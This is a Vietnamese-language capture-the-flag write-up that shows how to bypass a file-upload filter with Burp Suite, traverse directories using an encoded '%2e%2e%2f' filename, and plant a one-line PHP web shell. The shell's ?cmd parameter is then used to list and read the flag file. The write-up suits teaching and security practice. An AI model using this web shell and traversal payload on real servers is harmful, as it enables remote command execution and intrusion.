Wasssssup anh em! Chào mừng các bạn đến bài viết về lỗ hổng Path Traversal, hay còn gọi là Directory Traversal. Thử thách này cũng khá là hay nên mình quyết định viết thêm một write-up để cùng các bạn tìm flag của challenge này. Trước khi các bạn xem hết bài write-up, mình sẽ gợi ý một số thứ. Mong các bạn sẽ tìm ra flag mà không cần xem cả bài. Yeah yeah!!!
Gợi ý:
- Đây là bài viết của Cookie Arena về lỗ hổng path traversal, rất là nhiều thông tin hữu ích.
- Xác định đuợc bộ lọc (filter) đuợc dùng ở Client-side hay Server-side. Về Directory Traversal, việc xác định đuợc filter hoạt động như thế nào là rất quan trọng. Mục đích cuối là tìm cách để bypass bộ lọc.
- Nếu việc validation đuợc thực hiện ở Client-side, thì mình có thể dùng Burp Suite để proxy rồi modify request để bypass Client-side controls.
- Nếu validation đuợc thực hiện ở Server-side, thì việc bypass sẽ phức tạp hơn một ít. Nhưng mình tin các bạn sẽ tìm ra cách.
- Challenge này cần một ít kiến thức về OS Command Injection.
- Download Burp Suite nhen!
Bắt tay vào làm việc thôi !!!
Challenge sẽ nhìn như này “Fancy Upload.”
Chúng ta biết đuợc app chỉ có một chức năng là upload file. Mình cũng không biết đuợc các loại file nào sẽ đuợc cho phép upload. Chúng ta thử bằng một file hình image
đơn giản xem sao.
Có vẻ là hình ảnh đuợc phép upload. Nào chúng ta cùng check xem file vừa đuợc up lên.
Con mèo cười mỉm !!! Chính là nó, là file mà mình up lên.
Đến đây, chúng ta sẽ tiếp tục check đến phần filetype restriction. Kiểm tra xem nếu upload các file khác như php
, html
, txt
, etc. có đuợc hay không.
Rồi luôn, không cho upload php
lên luôn. Chán!
Đến đây, mình sẽ dùng một công cụ quen thuộc, Burp Suite. Chúng ta sẽ dùng Burp Suite để “Intercept” request rồi sửa tên của file để bypass client-side control. Chấp hai tay cầu khẩn, mong là đuợc!
Dùng Burp Suite, ấn vào “Intercept is off” để kích hoạt chức năng “Intercept.” Rồi sau đó upload file image lên, và chúng ta sẽ đổi tên của file. Để xem có bypass được hay không!
Đây đây đây nè! Đổi tên “filename” lại nè nhen. Đổi qua thành php thử coi sao.
Taaaaaaaaaaaaaaa đaaaaaaaaaaaaaaa! Không bị chặn nhen. PHP
.
Chúng ta vừa xác định đuợc là có thể upload php
file lên đây. Đến đây chúng ta phải tìm cách để ứng dụng “Directory Traversal.”
Nếu xem lại hình ảnh chú mèo cười mỉm của mình ở trên, chúng ta thấy file path là : http://13.250.40.38:32723/upload/cat_smile.jpeg
. Tức là file mà chúng ta upload lên sẽ đuợc lưu tại UPLOAD
directory - upload/{filename}
Bây giờ chúng ta thử một vài cách cơ bản để xem có bypass được hay không. Chúng ta sẽ thử bằng các payloads sau đây:
../cat_smile.jpeg
..././cat_smile.jpeg
....//cat_smile.jpeg
%2e%2e%2f/cat_smile.jpeg
Buớc này mình sẽ rút ngắn lại để tiệt kiệm thời gian cho các bạn. Mình ra payload này sẽ dùng đuợc.
%2e%2e%2f/cat_smile.jpeg
Các payload còn lại đều bị Server-side lọc bỏ hết đi. Duới đây là ví dục của việc bị lọc.
Payload dùng đuợc sẽ như này đây:
Để kiểm tra, ấn vào file vừa upload để kiểm tra. File path đã không còn từ upload như trên nữa. Ka ka ka!
Filepath: http://13.250.40.38:32723/cat_smile.jpeg
Chúng ta đã thành công “Travel” rồi đó. Bây giờ là tìm flag thôi.
Để xem lại chúng ta đã tìm ra được gì rồi:
- Chúng ta dùng
php
đuợc nè - Chúng ta cũng travel bằng cách dùng
%2e%2e%2f
- Để xem, chúng ta có thể upload một php file lên rồi dùng OS Command Injection tìm flag không nhé ???
Chúng ta phải tìm một php payload có thể dùng sau khi upload file lên. Học cái này như học cửu chương nhe mấy ông!
- Payload:
<?php echo system($_GET['cmd']); ?>
Rồi vô nè, uống miếng nuớc cho khoẻ người nào!
Đầu tiên, vẫn upload file cho phép lên trước. Sau đó chỉnh sửa gì cũng được, hăm có gấp!
Nhớ bật Burp lên để Intercept, nếu không là khỏi sửa gì nhe.
Bây giờ sửa nhiều chỗ nè:
- Đầu tiên là filename - thành
%2e%2e%2fexploit.php
. Mình đổi tên để không bị lộn. - Xoá hết phần content của file rồi chuyển thành PHP payload ở trên
<?php echo system($_GET['cmd']); ?>
Nó đây, ấn vào file để kiểm tra xem có ổn không.
Tuyệt! Tốt!
Với file mình upload lên, chúng ta có thể dùng parameter ?cmd
để tìm flag.
Dùng id
cơ bản để check xem chúng ta có thành công không?
Yeahhhhhhhhhhhhhhhhh!!! Vỗ tay!!!
Rồi, bây giờ dùng các OS Commands để tìm flag thôi. Mình sẽ dùng cd ..
để chuyển vị trí rồi sau đó dùng ls
để xem files tại thư mục đó.
- Payload:
?cmd=cd .. ;ls
Aha, tìm thấy 2 flags luôn - 1 cái thật và 1 cái giả.
http://13.250.40.38:32723/exploit.php?cmd=cd%20..;%20ls
Cái thật là cái flag có tên dài hơn nhen, dụ tôi!
- Payload:
?cmd=cd .. ;cat flagT0fv0.txt
http://13.250.40.38:32723/exploit.php?cmd=cd%20..;cat%20flagT0fv0.txt
Xong rồi! Cám ơn các bạn đã xem bài viết của mình. Mình mong các bạn học được gì đó từ bài viết của mình. Nếu các bạn có cách nhanh và dễ hơn, chỉ mình với nhennnnnn! Cám ơn nhiều nhiều.